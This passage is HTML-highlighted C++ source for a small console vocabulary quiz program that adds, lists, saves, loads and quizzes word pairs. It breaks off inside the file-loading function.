	<div class="geshicode_b" style='background-color: #FFFFFF; padding-left: 5px; border: 1px solid #BBBBBB; overflow:auto;'><code><pre class="cpp" style="font-family:monospace;"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#include &lt;iostream&gt;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#include &lt;fstream&gt;      // for file reading etc.</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#include &lt;vector&gt;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#include &lt;algorithm&gt;    // To randomize/sort the vector</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#include &lt;cstdlib&gt;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#include &quot;word.h&quot;       // My class for words.</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">using</span> <span style="color: #0000ff;">namespace</span> std<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> printMain<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> loadWords<span style="color: #008000;">&#40;</span>vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> <span style="color: #000040;">&</span>w, string fName<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>          <span style="color: #666666;">// If fName == &quot;&quot; then the app will ask for fileName</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> addWords<span style="color: #008000;">&#40;</span>vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> <span style="color: #000040;">&</span>w, <span style="color: #0000ff;">bool</span> clear<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>             <span style="color: #666666;">// if clear == true the vector will get empted first.</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> displayWords<span style="color: #008000;">&#40;</span>vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> <span style="color: #000040;">&</span>w<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> saveWords<span style="color: #008000;">&#40;</span>vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> <span style="color: #000040;">&</span>w<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> quiz<span style="color: #008000;">&#40;</span>vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> <span style="color: #000040;">&</span>w<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">int</span> main<span style="color: #008000;">&#40;</span><span style="color: #0000ff;">int</span> argc, <span style="color: #0000ff;">char</span><span style="color: #000040;">*</span> argv<span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> words<span style="color: #008080;">;</span> <span style="color: #666666;">// Create a vector for my class 'word'</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    string input<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>argv<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #008000;">&#93;</span> <span style="color: #000040;">!</span><span style="color: #000080;">=</span> <span style="color: #0000ff;">NULL</span><span style="color: #008000;">&#41;</span> loadWords<span style="color: #008000;">&#40;</span>words, argv<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">while</span><span style="color: #008000;">&#40;</span><span style="color: #0000ff;">true</span><span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        printMain<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        getline<span style="color: #008000;">&#40;</span><span style="color: #0000dd;">cin</span>, input<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>input<span style="color: #000080;">==</span><span style="color: #FF0000;">&quot;1&quot;</span><span style="color: #008000;">&#41;</span> addWords<span style="color: #008000;">&#40;</span>words, <span style="color: #0000ff;">true</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000ff;">else</span> <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>input<span style="color: #000080;">==</span><span style="color: #FF0000;">&quot;2&quot;</span><span style="color: #008000;">&#41;</span> addWords<span style="color: #008000;">&#40;</span>words, <span style="color: #0000ff;">false</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000ff;">else</span> <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>input<span style="color: #000080;">==</span><span style="color: #FF0000;">&quot;3&quot;</span><span style="color: #008000;">&#41;</span> displayWords<span style="color: #008000;">&#40;</span>words<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000ff;">else</span> <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>input<span style="color: #000080;">==</span><span style="color: #FF0000;">&quot;4&quot;</span><span style="color: #008000;">&#41;</span> quiz<span style="color: #008000;">&#40;</span>words<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000ff;">else</span> <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>input<span style="color: #000080;">==</span><span style="color: #FF0000;">&quot;5&quot;</span><span style="color: #008000;">&#41;</span> saveWords<span style="color: #008000;">&#40;</span>words<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000ff;">else</span> <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>input<span style="color: #000080;">==</span><span style="color: #FF0000;">&quot;6&quot;</span><span style="color: #008000;">&#41;</span> loadWords<span style="color: #008000;">&#40;</span>words, <span style="color: #FF0000;">&quot;&quot;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000ff;">else</span> <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>input<span style="color: #000080;">==</span><span style="color: #FF0000;">&quot;7&quot;</span><span style="color: #008000;">&#41;</span> <span style="color: #0000ff;">break</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000dd;">system</span><span style="color: #008000;">&#40;</span><span style="color: #FF0000;">&quot;cls&quot;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">return</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> quiz<span style="color: #008000;">&#40;</span>vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> <span style="color: #000040;">&</span>w<span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    random_shuffle<span style="color: #008000;">&#40;</span>w.<span style="color: #007788;">begin</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span>, w.<span style="color: #007788;">end</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;I'll display the first word, guess the second one.&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    string str<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">int</span> right <span style="color: #000080;">=</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">for</span><span style="color: #008000;">&#40;</span><span style="color: #0000ff;">unsigned</span> <span style="color: #0000ff;">int</span> i <span style="color: #000080;">=</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span>i <span style="color: #000080;">&lt;</span> w.<span style="color: #007788;">size</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>i<span style="color: #000040;">++</span><span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> w.<span style="color: #007788;">at</span><span style="color: #008000;">&#40;</span>i<span style="color: #008000;">&#41;</span>.<span style="color: #007788;">fWord</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot; : &quot;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        getline<span style="color: #008000;">&#40;</span><span style="color: #0000dd;">cin</span>, str<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>str<span style="color: #000080;">==</span>w.<span style="color: #007788;">at</span><span style="color: #008000;">&#40;</span>i<span style="color: #008000;">&#41;</span>.<span style="color: #007788;">sWord</span><span style="color: #008000;">&#41;</span> right<span style="color: #000040;">++</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;Your score &quot;</span> <span style="color: #000080;">&lt;&lt;</span> right <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot; of &quot;</span> <span style="color: #000080;">&lt;&lt;</span> w.<span style="color: #007788;">size</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;.&quot;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000dd;">cin</span>.<span style="color: #007788;">get</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> saveWords<span style="color: #008000;">&#40;</span>vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> <span style="color: #000040;">&</span>w<span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    ofstream myFile<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    string fName<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;Filename(no extension): &quot;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    getline<span style="color: #008000;">&#40;</span><span style="color: #0000dd;">cin</span>, fName<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    myFile.<span style="color: #007788;">open</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#40;</span>fName<span style="color: #000040;">+</span><span style="color: #FF0000;">&quot;.wdb&quot;</span><span style="color: #008000;">&#41;</span>.<span style="color: #007788;">c_str</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">for</span><span style="color: #008000;">&#40;</span><span style="color: #0000ff;">unsigned</span> <span style="color: #0000ff;">int</span> i <span style="color: #000080;">=</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span> i <span style="color: #000080;">&lt;</span> w.<span style="color: #007788;">size</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>i<span style="color: #000040;">++</span><span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        myFile <span style="color: #000080;">&lt;&lt;</span> w.<span style="color: #007788;">at</span><span style="color: #008000;">&#40;</span>i<span style="color: #008000;">&#41;</span>.<span style="color: #007788;">fWord</span> <span style="color: #000080;">&lt;&lt;</span> endl <span style="color: #000080;">&lt;&lt;</span> w.<span style="color: #007788;">at</span><span style="color: #008000;">&#40;</span>i<span style="color: #008000;">&#41;</span>.<span style="color: #007788;">sWord</span> <span style="color: #000080;">&lt;&lt;</span> endl<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> displayWords<span style="color: #008000;">&#40;</span>vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> <span style="color: #000040;">&</span>w<span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">for</span><span style="color: #008000;">&#40;</span><span style="color: #0000ff;">unsigned</span> <span style="color: #0000ff;">int</span> i <span style="color: #000080;">=</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span> i <span style="color: #000080;">&lt;</span> w.<span style="color: #007788;">size</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> i<span style="color: #000040;">++</span><span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> w.<span style="color: #007788;">at</span><span style="color: #008000;">&#40;</span>i<span style="color: #008000;">&#41;</span>.<span style="color: #007788;">fWord</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;<span style="color: #666666; font-weight: bold;">\t</span>&quot;</span> <span style="color: #000080;">&lt;&lt;</span> w.<span style="color: #007788;">at</span><span style="color: #008000;">&#40;</span>i<span style="color: #008000;">&#41;</span>.<span style="color: #007788;">sWord</span> <span style="color: #000080;">&lt;&lt;</span> endl<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> addWords<span style="color: #008000;">&#40;</span>vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> <span style="color: #000040;">&</span>w, <span style="color: #0000ff;">bool</span> clear<span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>clear<span style="color: #000080;">==</span><span style="color: #0000ff;">true</span><span style="color: #008000;">&#41;</span> w.<span style="color: #007788;">clear</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    string word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #008000;">&#93;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;End the input by typing # in first word.&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">while</span><span style="color: #008000;">&#40;</span><span style="color: #0000ff;">true</span><span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;First word: &quot;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        getline<span style="color: #008000;">&#40;</span><span style="color: #0000dd;">cin</span>, word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #008000;">&#93;</span><span style="color: #000080;">==</span><span style="color: #FF0000;">&quot;#&quot;</span><span style="color: #008000;">&#41;</span> <span style="color: #0000ff;">break</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;Second word: &quot;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        getline<span style="color: #008000;">&#40;</span><span style="color: #0000dd;">cin</span>, word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        w.<span style="color: #007788;">push_back</span><span style="color: #008000;">&#40;</span>Word<span style="color: #008000;">&#40;</span>word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #008000;">&#93;</span>, word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> loadWords<span style="color: #008000;">&#40;</span>vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> <span style="color: #000040;">&</span>w, string fName<span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>fName <span style="color: #000080;">==</span> <span 